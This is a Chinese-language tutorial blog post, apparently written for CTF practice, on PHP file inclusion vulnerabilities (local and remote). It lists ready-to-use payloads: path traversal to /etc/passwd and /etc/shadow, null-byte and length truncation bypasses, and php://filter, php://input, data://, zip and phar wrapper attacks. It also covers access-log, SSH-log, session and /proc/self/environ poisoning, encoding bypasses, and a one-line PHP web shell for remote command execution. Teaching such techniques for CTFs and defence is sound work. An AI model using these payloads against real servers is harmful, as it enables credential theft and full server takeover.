文件包含漏洞

文件包含漏洞分类

本地文件包含(LFI)

原因

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行。类似于java里的继承,语言里的调用,并且对于传参过滤不严,例如以下代码。

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

其中,$_GET[‘filename’]没有严格过滤参数,导致可以构造恶意参数,达到攻击目的

相关函数(php)

include()
include_once()
require()
require_once()

区别:
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

利用

可这样构造来获取文件,例如http://127.0.0.1/flag.php

http://127.0.0.1/flag.php?file=/../../../../etc/passwd

常见敏感目录:
linux

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

windows

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

绕过

%00截断(php<5.3.4)

http://127.0.0.1/flag.php?file=/../../../../etc/passwd%00

点号截断(windows,点号位数大于256,php<5.2.8)

http://127.0.0.1/flag.php?file=/../../../../etc/passwd.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

路径长度溢出截断(windows,点号位数需要长于256;linux长于4096,php<5.2.8)

http://127.0.0.1/flag.php?file=/../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

远程文件包含(RFI)

原因

php.ini配置中

allow_url_fopen = On (是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

一般allow_url_fopen默认为on,但是allow_url_include在php5.2之后就默认为off

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

依然没有做过滤或防绕过

利用

面对无防绕过的网站可直接构造

http://127.0.0.1/flag/flag.php?filename=http://192.168.91.133/php/phpinfo.txt

面对有限制的网站,比如如下代码,对包含的文件后加一个html后缀

<?php include($_GET['filename'] . ".html"); ?>

比如当远程包含phpinfo.txt时,返回时会变成phpinfo.txt.html
在这里我们可以利用 ?,#,空格绕过,注意#和空格用url编码编码一下具体视情况而定

伪协议

alt

Phar://(php归档)

  • **条件 **
    php>=5.3.0,注意url编码
  • 利用
    http://127.0.0.1/flag.php?f=phar://attect.txt,attect.txt可写入php代码
  • 例题代码
 <?php $p = new PharData(dirname(__FILE__).'/phartest.aaa',
  0,'phartest',Phar::ZIP) ; 
 $p->addFromString('testfile.txt', '<?php phpinfo();?>'); ?>
 

Zip://

  • 条件
    php>=5.3.0,在windows下测试要5.3.0<PHP<5.4 才可以,需要指定绝对路径,注意url编码
  • 利用
    利用原型:zip://attect.zip#dir/file.txt,file.txt可以写入恶意PHP代码
  • 例题
    http://106.12.37.37:10007/
    例题对应代码
<?php $include_file=$_GET[include_file];
 if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
  { require($include_file ); }?>

测试结果
在这里插入图片描述
我们可以注意到其实phar协议和zip协议是类似的

php://filter:

  • 条件
    需要开启 allow_url_fopen,不需要开启 allow_url_include;
  • filter讲解
    php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。 一般可用来读取敏感文件 (更多可看https://www.php.net/manual/zh/wrappers.php.php)
  • 例题(对应代码会在做题结果出现)
    http://chinalover.sinaapp.com/web7/index.php
poc: 
1.http://chinalover.sinaapp.com/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php
2.http://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

我们注意的是read可选可无,这里可以查看官方文档

php://input:

  • 条件
    1.allow_url_include = On。
    2.可读取post过去的数据
  • 例题及解题过程(普通利用)
    106.12.37.37:10008
    扫目录得到http://106.12.37.37:10008/index.php.bak
    源码如下:
$flag='xxx'; 
extract($_GET);
if(isset($key)){ $content=trim(file_get_contents($flag)); if($key==$content){ echo'ctf{xxx}'; }
else{ echo'Oh.no';} }  

此题有两种方法:第一种是利用extract函数变量覆盖使content变量和key变量相等,得出flag;我们在此不做多余赘述。第二种则是利用我们的input伪协议,我们可以看到,只需要让key的值和flag的值相等,我们就可以得出flag,我们以上说过,php://input可以获取post的数据,我们按照以下的步骤即可得到flag

  • 命令执行和传入木马
    条件
    php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行
    命令执行
    post数据为<?php system('ls');?>
    木马
    post数据为<?php @eval($_POST[cmd]);?>
  • 条件
    php版本大于等于php5.2
    allow_url_fopen = On
    allow_url_include = On
  • 利用
1.www.flag.com/flag.php?filename=data:text/plain,<?php phpinfo();?>
2.www.flag.com/flag.php?filename=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

然后就出来了phpinfo界面

日志文件包含

访问日志

  • 条件
    日志文件存储路径,且可读
  • 利用
    web服务器会将请求写入到日志文件(上面已给出,也可搜索网上目录)中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/
    在这里插入图片描述
    需要注意的是我们在burp抓包进行拦截在发出请求,否则会被编码,如下,第一条是抓包发出的,第二条为在浏览器里直接进行构造,第二条失败。
    在这里插入图片描述
    除了可以url请求外上传还可以进行文件上传和UA上传,下图为UA上传,绕过以上包含不成功,可以看下是否是open_basedir限制了目录
    在这里插入图片描述
  • 例题环境
    可以搜索SHACTF-2017-Web-writeup Bon Appétit,注意有两种解法,注重日志包含的那个解法。

SSH log

  • 条件
    ssh log的文件位置,且可读,默认情况下为 /var/log/auth.log
  • 利用
    利用ssh连接:
ssh '<?php phpinfo(); ?>'@remotehost

密码随便输入,然后包含即可

session包含

条件

session文件路径可知,且其中内容部分可控。

利用

通过phpinfo的信息,获取到session.save_path为/var/lib/php/session
在这里插入图片描述
常见的php-session存放位置

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID
    session的文件名一般为sess_+sessionid,sessionid可以通过开发者模式获取。
    具体利用的方法,我的思路是先本地包含,将session文件包含出来,查看代码内容,然后再找有没有合适的变量进行写入payload,再进行session包含从而getshell

例题

推荐此文章和题目:https://www.codercto.com/a/33740.html
I春秋百度杯notebook(I春秋百度杯可找到)

临时文件

利用

在这里插入图片描述
类似于文件上传的和时间竞争,向服务器上传木马文件以form-data方式提交请求上传数据时,会生成临时文件,通过phpinfo来获取临时文件的路径以及名称
可在网上找到脚本(博主暂时木有)

例题

可看此wp : https://chybeta.github.io/2017/08/22/XMAN%E5%A4%8F%E4%BB%A4%E8%90%A5-2017-babyweb-writeup/

environ

条件

php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。

利用

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。可参考:1.The proc/self/environ Injection ,
shell via LFI - proc/self/environ method

fd

类似于environ,参考: LFI Cheat Sheet:/proc/self/environ LFI Method

自包含

类似于/a.php?include=a.php
这样会导致不断包含自己,形成无穷递归,爆栈,最终使php无法进行后续处理

php7SegmentFault

上大佬博客:https://www.jianshu.com/p/dfd049924258

绕过(上面讲过的方法同样适用)

编码绕过

服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。

  • 利用url编码
  1. …/
    %2e%2e%2f
    …%2f
    %2e%2e/

  2. %2e%2e%5c
    …%5c
    %2e%2e\
  • 二次编码
  1. …/
    %252e%252e%252f

  2. …\

    %252e%252e%255c

  • 容器/服务器的编码方式
  1. …/
    …%c0%af

    %c0%ae%c0%ae/


  2. …%c1%9c

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值